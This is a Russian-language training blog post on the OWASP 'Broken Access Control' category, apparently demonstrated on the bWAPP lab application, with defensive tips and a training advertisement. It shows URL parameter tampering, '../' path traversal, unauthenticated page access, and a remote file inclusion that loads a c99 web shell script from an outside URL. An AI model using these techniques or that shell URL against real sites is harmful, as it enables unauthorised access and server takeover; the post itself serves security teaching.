A5:Broken Access Control
Вернуться назад

Следующий вид уязвимости из OWASP TOP 10 рассмотрим Broken Access Control, он на пятом месте так как этот вид один из самых распространенных на проектах и по статистике примерно 42% имеют ее.

Во вторых надо проверять также и не только контроль существующих в системе юзеров, но и тех которых у нас нету в нашей базе, это те самые незарегистрированные юзера. То-есть есть ли у них доступ к страницам, которые должны быть доступны только тем кто залогинен. Чтоб у злоумышленников не было возможности перебрать урлы либо айди в урле тех же писем, в которых хранится конфиденциальная информация. 

 

Пример...

gallery/выделение_009

Название уязвимости говорит само за себя)))

 

И так суть этой уязвимости, заключается в отсутствии проверки доступа к запрашиваемому объекту (это может быть админ страница, доступ к оборудованию и тд.) для различных групп пользователей, то ли ваших клиентов толи сотрудников. Большинство веб апликух проверяют права доступа, прежде чем отобразить данные страниц, которые запрашивают. Также такие проверки должны выполняться проверки контроля доступа на сервере при запросе любой функции. Ведь есть множество вспомогательных служб, которые, зачастую отправляются в фоновом режиме приложения асинхронно, при помощи AJAX. Если параметры запроса не достаточно имеют проверку, то злоумышленники смогут подделать запрос для доступа к данным без вашего разрешения. 

 

Давайте рассмотрим несколько примеров на которые стоит обращать внимание при тестировании вашего проекта на эту уязвимость:

 

В первую очередь стоит обращать внимание на перебор гет параметра в URL (того же айди допустим id юзера, id страницы заказа, путь к файлу и тд.)

 

На примере:

Допустим у нас, как у простого пользователя, есть страница где мы можем посмотреть перечень доступным для нас книг в формате PDF, как это показано на скрине выше. Но давайте обратим внимание на урл, и увидим там какой-то гет параметр, который формулирует нам выдачу соответствующею нашей роли на этом ресурсе. Давайте поиграем с ним, заменив аргумент "documents", на более интереснее слово "admin", которая говорит само за себя, зачастую разработчики запихивают что то важное под такие названия и если же он не ограничил у такому пути доступ то будет кака. Смотрим что получилось...

И так, мы увидели интересные файлы, вместо книжек)) наверно это какие-то настройки касающиеся конфигов нашего проекта. Можем кликнув по ним увидеть как же все устроено, а может и найти в них креденшелы для входа в систему как админ пользователь.

 

Можно так играться и далее, употребляя разные неотъемлемые слова, типа "login", "email", "password" и тд. 

 

Но можно еще не только прямой путь указывать на директорию, но и перемещаться по этому пути, употребляя обыкновенный синтаксис "../", говорящий о перемещении по иерархии дерева нашего проекта.

 

Смотрим пример ниже...

С каждым применением "../" мы перемещаемся выше по нашей иерархии. То-есть, если мы введем еще раз "../", то мы увидим папку, в которой только что были и какие папки находятся на этом же уровне, что и данная папка... Смотрим на скрин ниже, вот она "bwapp-git", в которой мы были ранее.

Вот мы залогинены как пользователь "Bee" и припустим, что вот есть документы, которые должны были бы быть доступны только для этого пользователя. Теперь давайте разлогинимся

Опять нет проверки на то, что текущие данные не должны светится в таком виде для незалогиненных парней. Ладно если хакер еще будет подбирать эти пейджи. Но а если гугл бот пробежится и эти страницы будут в открытом доступе в поисковике))) Я не раз встречал такие сайты, у которых проиндексировались админ страницы и можно просто переходить с поисковика на такие страницы без авторизации и делать дела...

 

В третьих можно через такую уязвимость даже загружать сторонние функционалы с других сайтов. То-есть вредоносные урлы с скриптами или же просто функции, которые по началу не были доступны, к примеру давайте добавим возможность загружать картинки на сервер на ту страницу, на которой никогда такой возможности не было.

Так, тут на картинке выше мы видим какой-то гет параметр, в данном случаи это язык который мы выбрали для отображения на этой странице. А что если в этот гет параметр передать урл на скрипт. В данном случаи используем вредоносный урл "http://www.c99php.com/shell/symlink.txt". На этом урлу находится скрипт, которые генерирует функционал для возможности загружать сторонние файлы на сервер на котором его применить... Давайте посмотрим, что получилось

Видим, что в гет параметр мы передали сторонний урл и что произошло с нашей страницы))) Теперь мы можем этот сайт юзать как гугл диск для хранения каких-то файлов))) Дешево и сердито.

 

Что относиться к секретным данным, которые стоит ограничить от доступности для различных лиц.

Как понять что уязвимы:

 

- Обход проверок контроля доступа путем изменения URL-адреса

- Разрешение изменять первичный ключ к чужой учетке пользователя, позволяя просматривать или редактировать чужую учетную запись

- Неправильная конфигурация CORS допускает несанкционированный доступ к API.

 

Как защитится:

 

- Внедрите механизмы контроля доступа один раз и повторно используйте их во всем приложении

- Изменение данных в учетных записях должны иметь только владельцы учетных записей

- Закройте от публичного доступа, к примеру в git, резервные копии настроек учеток

И ПОМНИТЕ ВСЕ ПОКАЗАННОЕ ВЫШЕ, СДЕЛАНО В ЦЕЛЯХ ОБУЧЕНИЯ!!!

МОЖНО ПРИМЕНЯТЬ ТОЛЬКО НА СВОИХ ПРОЕКТАХ, ПОСЛЕ РАЗРЕШЕНИЯ

gallery/выделение_033
gallery/выделение_034
gallery/выделение_035
gallery/выделение_036
gallery/выделение_037
gallery/выделение_045
gallery/выделение_046

Давайте обратим внимание опять на урл. Что будет если мы заменим в урле страницу "login.php" на страницу "documents". Напоминаю, мы сейчас как незалогиненный пользователь, жмем энтер, смотрим.

gallery/выделение_047
gallery/выделение_048
gallery/выделение_049
gallery/выделение_050

Так же к этому типу уязвимости можно отнести и хранения секретных креденшелов (паролей и логинов) в открытом доступе. 

 

Это может быть конфиги лежащие в открытом виде на гите

gallery/выделение_051

Сюда также можно отнести резервные копии, логи пользователей и тд.

gallery/выделение_052

Хотите узнать больше о различных уязвимостях и инструментах для поиски этих же уязвимостей, чтоб сделать ваш проект безопасным, для ваших пользователей? 

Мы организовываем тренинги по OWASP TOP 10. 

Буду рад вас видеть на тренинге!

 

Программа тут